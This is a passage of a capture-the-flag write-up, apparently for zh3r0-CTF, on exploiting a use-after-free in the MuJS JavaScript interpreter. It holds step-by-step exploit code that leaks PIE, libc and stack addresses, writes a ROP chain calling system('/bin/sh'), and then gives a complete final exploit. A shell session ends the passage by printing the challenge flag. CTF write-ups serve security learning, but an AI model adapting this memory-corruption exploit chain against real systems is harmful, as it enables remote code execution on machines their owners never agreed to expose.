 5        new Uint32Array(b);
 6    }
 7    new Uint32Array(buf);
 8}
 9
10arraybuf = new ArrayBuffer(97);
11arr = Uint32Array(arraybuf);
12gc(10000, 2, arraybuf); // cause this to become a dangling pointer for UAF
13while (true)
14{
15    target = new Uint32Array(200);
16    if (arr.get(0) != 0)
17    {
18        print("found overlap!");
19        break;
20    }
21}

Now, we can easily index into arr and change the data for target. Take careful note of the js_Object struct from the previous part. Attaching to the process with a debugger, we immediately noticed how the propety pointer allowed us to rebase the binary PIE addresses. A heap leak can also be obtained by reading the mem pointer in the TypedArray union field of the object struct. We can then change the mem pointer to __libc_start_main@got to leak libc, and then change the mem pointer to environ for stack leak.

 1// TypedArray items are in union after prototype, prototype at index 6 and 7
 2piebase = parseInt(arr.get(3).toString(16) + arr.get(2).toString(16), 16) - 278688
 3print('pie base: 0x' + piebase.toString(16))
 4heapleak = parseInt(arr.get(7).toString(16) + arr.get(6).toString(16), 16)
 5print('heap leak: 0x' + heapleak.toString(16))
 6main_got = piebase + 0x43fd8
 7
 8print('__libc_start_main@got: 0x' + main_got.toString(16))
 9
10low = parseInt(main_got.toString(16).substring(4, 12), 16)
11high = parseInt(main_got.toString(16).substring(0, 4), 16)
12
13original = parseInt(arr.get(9).toString(16) + arr.get(8).toString(16), 16)
14
15arr.set(8, low)
16arr.set(9, high)
17libcbase = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
18print('libc base: 0x' + libcbase.toString(16))
19environ = libcbase + 0x1ef2e0
20low = parseInt(environ.toString(16).substring(4, 12), 16)
21high = parseInt(environ.toString(16).substring(0, 4), 16)
22arr.set(8, low)
23arr.set(9, high)
24stack = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
25print('stack leak: 0x' + stack.toString(16))

Looking at the main function for the interpreter:

 1int
 2main(int argc, char **argv)
 3{
 4    char *input;
 5    js_State *J;
 6    int status = 0;
 7    int strict = 0;
 8    int interactive = 0;
 9    int i, c;
10
11    while ((c = xgetopt(argc, argv, "is")) != -1) {
12        switch (c) {
13        default: usage(); break;
14        case 'i': interactive = 1; break;
15        case 's': strict = 1; break;
16        }
17    }
18
19    J = js_newstate(NULL, NULL, strict ? JS_STRICT : 0);
20
21    js_newcfunction(J, jsB_gc, "gc", 0);
22    js_setglobal(J, "gc");
23
24    js_newcfunction(J, jsB_compile, "compile", 2);
25    js_setglobal(J, "compile");
26
27    js_newcfunction(J, jsB_print, "print", 0);
28    js_setglobal(J, "print");
29
30    js_newcfunction(J, jsB_write, "write", 0);
31    js_setglobal(J, "write");
32
33    js_newcfunction(J, jsB_repr, "repr", 0);
34    js_setglobal(J, "repr");
35
36    js_newcfunction(J, jsB_quit, "quit", 1);
37    js_setglobal(J, "quit");
38
39    js_dostring(J, require_js);
40    js_dostring(J, stacktrace_js);
41
42    if (xoptind == argc) {
43        interactive = 1;
44    } else {
45        c = xoptind++;
46
47        js_newarray(J);
48        i = 0;
49        while (xoptind < argc) {
50            js_pushstring(J, argv[xoptind++]);
51            js_setindex(J, -2, i++);
52        }
53        js_setglobal(J, "scriptArgs");
54
55        if (js_dofile(J, argv[c]))
56            status = 1;
57    }
58
59    if (interactive) {
60        if (isatty(0)) {
61            using_history();
62            rl_bind_key('\t', rl_insert);
63            input = readline(PS1);
64            while (input) {
65                eval_print(J, input);
66                if (*input)
67                    add_history(input);
68                free(input);
69                input = readline(PS1);
70            }
71            putchar('\n');
72        } else {
73            input = read_stdin();
74            if (!input || !js_dostring(J, input))
75                status = 1;
76            free(input);
77        }
78    }
79
80    js_gc(J, 0);
81    js_freestate(J);
82
83    return status;
84}

We note that this function does return, after calling the garbage collector once more. To prevent it from freeing invalid memory, we can fix the mem pointer to point back to its original buffer, but we do this after we adjust its buffer to point to the stack address that stores the return address of main to write a ROP.

 1main_ret = stack + 0x26eb8
 2
 3poprdi = piebase + 0x0000000000004d9d
 4system = libcbase + 0x55410
 5binsh = libcbase + 0x1b75aa
 6
 7rop = [poprdi, binsh, poprdi+1, system]
 8
 9// get ready for rop
10low = parseInt(main_ret.toString(16).substring(4, 12), 16)
11high = parseInt(main_ret.toString(16).substring(0, 4), 16)
12arr.set(8, low)
13arr.set(9, high)
14
15for (i = 0; i < rop.length * 2; i += 2)
16{
17    low = parseInt(rop[i/2].toString(16).substring(4, 12), 16)
18    high = parseInt(rop[i/2].toString(16).substring(0, 4), 16)
19    target.set(i, low)
20    target.set(i+1, high)
21}
22
23
24
25// fix backing buffer, jemalloc is find with some double frees i guess
26low = parseInt(original.toString(16).substring(4, 12), 16)
27high = parseInt(original.toString(16).substring(0, 4), 16)
28arr.set(8, low)
29arr.set(9, high)

Final Exploit

 1function gc(a, b, buf)
 2{
 3    for (i = 0; i < a; i++)
 4    {
 5        new Uint32Array(b);
 6    }
 7    new Uint32Array(buf);
 8}
 9
10arraybuf = new ArrayBuffer(97);
11arr = Uint32Array(arraybuf);
12gc(10000, 2, arraybuf); // cause this to become a dangling pointer for UAF
13while (true)
14{
15    target = new Uint32Array(200);
16    if (arr.get(0) != 0)
17    {
18        print("found overlap!");
19        break;
20    }
21}
22// TypedArray items are in union after prototype, prototype at index 6 and 7
23piebase = parseInt(arr.get(3).toString(16) + arr.get(2).toString(16), 16) - 278688
24print('pie base: 0x' + piebase.toString(16))
25heapleak = parseInt(arr.get(7).toString(16) + arr.get(6).toString(16), 16)
26print('heap leak: 0x' + heapleak.toString(16))
27main_got = piebase + 0x43fd8
28
29print('__libc_start_main@got: 0x' + main_got.toString(16))
30
31low = parseInt(main_got.toString(16).substring(4, 12), 16)
32high = parseInt(main_got.toString(16).substring(0, 4), 16)
33
34original = parseInt(arr.get(9).toString(16) + arr.get(8).toString(16), 16)
35
36arr.set(8, low)
37arr.set(9, high)
38libcbase = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
39print('libc base: 0x' + libcbase.toString(16))
40environ = libcbase + 0x1ef2e0
41low = parseInt(environ.toString(16).substring(4, 12), 16)
42high = parseInt(environ.toString(16).substring(0, 4), 16)
43arr.set(8, low)
44arr.set(9, high)
45stack = parseInt(target.get(1).toString(16) + target.get(0).toString(16), 16) - 0x26fc0
46print('stack leak: 0x' + stack.toString(16))
47
48main_ret = stack + 0x26eb8
49
50poprdi = piebase + 0x0000000000004d9d
51system = libcbase + 0x55410
52binsh = libcbase + 0x1b75aa
53
54rop = [poprdi, binsh, poprdi+1, system]
55
56// get ready for rop
57low = parseInt(main_ret.toString(16).substring(4, 12), 16)
58high = parseInt(main_ret.toString(16).substring(0, 4), 16)
59arr.set(8, low)
60arr.set(9, high)
61
62for (i = 0; i < rop.length * 2; i += 2)
63{
64    low = parseInt(rop[i/2].toString(16).substring(4, 12), 16)
65    high = parseInt(rop[i/2].toString(16).substring(0, 4), 16)
66    target.set(i, low)
67    target.set(i+1, high)
68}
69
70
71
72// fix backing buffer, jemalloc is find with some double frees i guess
73low = parseInt(original.toString(16).substring(4, 12), 16)
74high = parseInt(original.toString(16).substring(0, 4), 16)
75arr.set(8, low)
76arr.set(9, high)

Just like the last one, we had to reopen stdout.

zh3r0-CTF
exec 1>&0
ls
connect.py
flag
libjemalloc.so.2
mujs
run.sh
start.sh
ynetd
cat flag
zh3r0{yierath6Ohlie2oS8oofaeghoobai5Ie}

Concluding Thoughts

The pwnables made by codacker (BabyArmROP) and hk (More Printf and the muJS challenges) were very fun and enjoyable! We look forward to seeing what this CTF has to offer in the future.